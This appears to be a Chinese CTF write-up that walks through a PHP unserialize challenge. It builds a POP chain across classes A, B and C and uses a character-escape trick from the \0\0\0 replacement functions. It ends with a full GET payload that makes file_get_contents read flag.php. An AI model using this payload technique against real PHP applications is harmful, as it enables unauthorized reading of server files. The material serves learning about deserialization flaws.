考点:反序列化POP链、字符逃逸
看标题大概就知道关于序列化的题,打开链接给了我们源代码:
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
分析一下 A、B、C三个类和read、write俩个函数。
C类 __toString()方法中的file_get_contents能够读取文件 这个文件就是注释的flag.php。(把包含__toString() 函数的类的对象当做字符串使用的时候就会触发__toString())。
B类中存在字符串的拼接$c = 'a'.$this->b;
$b属性实例化为C对象即可触发__toString()方法。
代码中只有对A类的实例化,所以要将A类的属性实例化为B,这样整个POP链便构造完成了:
$a = new A($_GET['a'],$_GET['b']);
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);
得到:
O:1:“A”:2:{s:8:“username”;s:1:“1”;s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flag.php”;}}} (关注这个删除线标记payload中我们会用到 代号为第一)
接下来就是字符逃逸 (以下是我弄懂了字符逃逸后自己总结测试出来的,若有错误 望师傅们批评指正)
先修改代码为:
$a = new A($_GET['a'],$_GET['b']);
echo serialize($a);
echo "
";
echo write(serialize($a));
echo "
";
echo read(write(serialize($a)));
传入1 和 1 http://127.0.0.1/flag.php?a=1&b=1
得到如下:
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
没有报错 那么我们来试试传入\0\0\0 和 1:
O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:1:"1";}
O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:1:"1";}
我们发现read()函数出错了,\0\0\0的长度为6,经过read函数得到的长度为3( * 的左右还有chr(0)为不可见字符!)导致结果不一样。到这我们应该能意识到对代码的控制。
于是我们尝试构造a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";s:4:"1234";}}
(关注b=c"代号第三段) 并且修改部分代码为:
$a = new A($_GET['a'],$_GET['b']);
$b=new A($_GET['a'],$_GET['b']);
echo serialize($a);
echo "
";
echo write(serialize($a));
echo "
";
echo read(write(serialize($a)));
echo "
";
$H = unserialize(read(write(serialize($a))));
var_dump($H);
echo $H->username;
echo "
";
echo $H->password;
得到我们观察password的值变成了1234,那么我们构造成功了。关注一下usename的值: ********";s:8:"password";s:31:"c
长度为48(代号第二段)
最后我们构造payload:a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
长度为48,经read()后变为24,还需要24长度的字符,上面代号第二段根据我们的构造发现序列化后username 的值正好为48,所以代号第三段中 我们特意构造了b=c",c是为了增加一个字符凑成24,一个双引号为了闭合username的值,这里name中的值我经过精确的查数 发现代号第二段中的引号和序列化后username中的引号都是4个长度,所以这里不会出错。
因此根据三个代号我们就构造初payload啦。这样一来username&password经过反序列化不会报错,读取源码的也会被执行。
右键查看源码发现flag: